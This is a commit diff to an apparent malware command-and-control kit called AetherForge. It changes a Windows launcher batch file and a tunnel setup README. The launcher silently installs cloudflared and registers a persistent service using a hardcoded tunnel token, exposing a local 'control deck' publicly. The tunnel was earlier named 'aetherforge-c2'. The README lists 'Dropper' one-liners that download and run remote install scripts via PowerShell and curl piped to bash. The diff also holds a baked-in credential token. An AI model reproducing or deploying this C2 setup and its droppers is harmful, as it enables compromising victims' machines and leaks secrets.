Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
147
usb/LAUNCH.bat
147
usb/LAUNCH.bat
@@ -2,12 +2,33 @@
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
title AetherForge Control Deck
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
|
||||
echo.
|
||||
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
||||
if exist "%CD%\AetherForge.exe" (
|
||||
set "ROOT=!CD!"
|
||||
) else if exist "%CD%\usb\AetherForge.exe" (
|
||||
cd /d "%CD%\usb"
|
||||
set "ROOT=!CD!"
|
||||
) else (
|
||||
echo.
|
||||
echo ERROR: AetherForge.exe not found.
|
||||
echo Expected next to this script, or in usb\AetherForge.exe
|
||||
echo Run pack-usb.bat from the repo to build the portable bundle.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if not exist "%ROOT%\AetherForge.exe" (
|
||||
echo ERROR: AetherForge.exe missing in %ROOT%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo ================================================================
|
||||
echo AetherForge - Portable Control Deck
|
||||
echo ================================================================
|
||||
echo Deck: %ROOT%
|
||||
echo.
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
@@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
||||
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 5. Cloudflare Tunnel — auto-install, configure, start
|
||||
:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup)
|
||||
:: ----------------------------------------------------------------
|
||||
set "CF_DIR=%ROOT%\cloudflare"
|
||||
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
|
||||
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_DATA=%ROOT%\data\cloudflare"
|
||||
set "SERVER_PORT=8989"
|
||||
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
|
||||
if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi"
|
||||
if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi"
|
||||
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_BIN="
|
||||
set "CF_TUNNEL_ID="
|
||||
set "CF_READY=0"
|
||||
|
||||
:: Check credentials exist and are real (not the placeholder)
|
||||
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
|
||||
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
|
||||
if errorlevel 1 goto cf_no_creds
|
||||
|
||||
:: Parse tunnel ID from credentials JSON
|
||||
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
|
||||
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
|
||||
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
|
||||
|
||||
:: Stage credentials into data\cloudflare\ (idempotent)
|
||||
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
|
||||
if not exist "!CF_CREDS_LOCAL!" (
|
||||
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
|
||||
echo [CF] Credentials staged to data\cloudflare\
|
||||
)
|
||||
|
||||
:: Always regenerate config.yml with current absolute paths
|
||||
:: (handles drive-letter changes when USB is moved)
|
||||
set "CF_CONFIG=%CF_DATA%\config.yml"
|
||||
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
|
||||
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
|
||||
|
||||
:: ---- Locate or install cloudflared ----
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
|
||||
:: Not found — install from bundled MSI
|
||||
if exist "%CF_MSI%" (
|
||||
echo [CF] cloudflared not found. Installing from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
|
||||
echo [CF] MSI install launched - waiting...
|
||||
ping -n 8 127.0.0.1 >nul
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
echo [CF] cloudflared installed successfully.
|
||||
goto cf_have_bin
|
||||
)
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
echo [CF] cloudflared installed successfully.
|
||||
goto cf_have_bin
|
||||
)
|
||||
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
|
||||
echo [CF] Try re-running LAUNCH.bat after a reboot.
|
||||
goto cf_done
|
||||
) else (
|
||||
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
|
||||
if not exist "%CF_MSI%" (
|
||||
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Installing cloudflared from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart
|
||||
echo [CF] Waiting for MSI to complete...
|
||||
ping -n 10 127.0.0.1 >nul
|
||||
|
||||
:cf_have_bin
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_check_service
|
||||
)
|
||||
echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator.
|
||||
goto cf_done
|
||||
|
||||
:cf_check_service
|
||||
echo [CF] Binary: !CF_BIN!
|
||||
|
||||
:: Check if cloudflared tunnel already running (same process = skip)
|
||||
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
|
||||
sc query cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running on this machine.
|
||||
echo [CF] https://!CF_HOSTNAME!
|
||||
echo [CF] Tunnel service already registered.
|
||||
goto cf_start_service
|
||||
)
|
||||
echo [CF] Registering tunnel service with baked token...
|
||||
"!CF_BIN!" service install %CF_TOKEN%
|
||||
if errorlevel 1 (
|
||||
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Tunnel service registered.
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
|
||||
:cf_start_service
|
||||
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running — https://!CF_HOSTNAME!
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
)
|
||||
|
||||
:: Start cloudflared tunnel in background
|
||||
echo [CF] Starting Cloudflare tunnel...
|
||||
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
|
||||
ping -n 5 127.0.0.1 >nul
|
||||
net start cloudflared >nul 2>nul
|
||||
ping -n 4 127.0.0.1 >nul
|
||||
echo [CF] Tunnel live: https://!CF_HOSTNAME!
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
|
||||
:cf_no_creds
|
||||
echo [CF] No valid credentials.json in cloudflare\
|
||||
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
|
||||
echo [CF] Running in LAN-only mode this session.
|
||||
|
||||
:cf_done
|
||||
|
||||
@@ -251,7 +243,7 @@ if "!CF_READY!"=="1" (
|
||||
)
|
||||
echo Data: %ROOT%\data\
|
||||
echo.
|
||||
echo First run: admin password printed to console below.
|
||||
echo Dashboard login printed below each start.
|
||||
echo Press Ctrl+C to stop.
|
||||
echo ================================================================
|
||||
echo.
|
||||
@@ -271,8 +263,7 @@ if "!EC!"=="0" (
|
||||
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
||||
)
|
||||
|
||||
:: On exit, also stop the cloudflared tunnel
|
||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||
:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits
|
||||
|
||||
echo.
|
||||
pause
|
||||
|
||||
@@ -1,45 +1,22 @@
|
||||
========================================================
|
||||
AetherForge — Cloudflare Tunnel One-Time Setup
|
||||
Target hostname: killa.thetempleofdoom.com
|
||||
AetherForge — Cloudflare Tunnel
|
||||
https://killa.thetempleofdoom.com
|
||||
========================================================
|
||||
|
||||
You only do this ONCE on any machine that has cloudflared.
|
||||
After that, drop credentials.json in this folder and the
|
||||
USB launcher handles everything automatically forever.
|
||||
NO SETUP REQUIRED.
|
||||
|
||||
STEP 1 — Install cloudflared
|
||||
Run LAUNCH.bat once — it will install cloudflared
|
||||
from the bundled MSI automatically.
|
||||
OR: msiexec /i cloudflared-windows-amd64.msi
|
||||
The tunnel token is baked into LAUNCH.bat. On first run it will:
|
||||
1. Install cloudflared from cloudflared-windows-amd64.msi (if needed)
|
||||
2. Register the cloudflared Windows service with your token
|
||||
3. Start the service — tunnel points at localhost:8989
|
||||
|
||||
STEP 2 — Authenticate with your Cloudflare account
|
||||
cloudflared tunnel login
|
||||
(Opens browser — log in, select thetempleofdoom.com)
|
||||
This saves a cert.pem to %USERPROFILE%\.cloudflared\
|
||||
Just double-click LAUNCH.bat in the parent folder (Run as Administrator
|
||||
once if service install fails).
|
||||
|
||||
STEP 3 — Create the named tunnel
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
Note the Tunnel ID printed (UUID format).
|
||||
After that:
|
||||
Dashboard: https://killa.thetempleofdoom.com
|
||||
Dropper: iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
|
||||
STEP 4 — Route your subdomain to the tunnel
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
(Adds CNAME: killa -> <tunnel-id>.cfargotunnel.com in your CF DNS)
|
||||
|
||||
STEP 5 — Copy credentials to this USB folder
|
||||
The credentials JSON is at:
|
||||
%USERPROFILE%\.cloudflared\<tunnel-id>.json
|
||||
Copy it to this folder, overwriting credentials.json:
|
||||
copy %USERPROFILE%\.cloudflared\<tunnel-id>.json cloudflare\credentials.json
|
||||
|
||||
STEP 6 — Done
|
||||
From now on LAUNCH.bat detects the credentials, writes a
|
||||
fresh config.yml automatically, and starts the tunnel.
|
||||
The tunnel always connects to 127.0.0.1:8989 (localhost)
|
||||
regardless of which network the machine is on.
|
||||
credentials.json is NOT used — ignore the placeholder file if present.
|
||||
|
||||
========================================================
|
||||
Tunnel URL after setup: https://killa.thetempleofdoom.com
|
||||
Dashboard: https://killa.thetempleofdoom.com
|
||||
Dropper (Windows): iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
Dropper (Linux/Mac): curl -sL https://killa.thetempleofdoom.com/install.sh | bash
|
||||
========================================================
|
||||
|
||||
Reference in New Issue
Block a user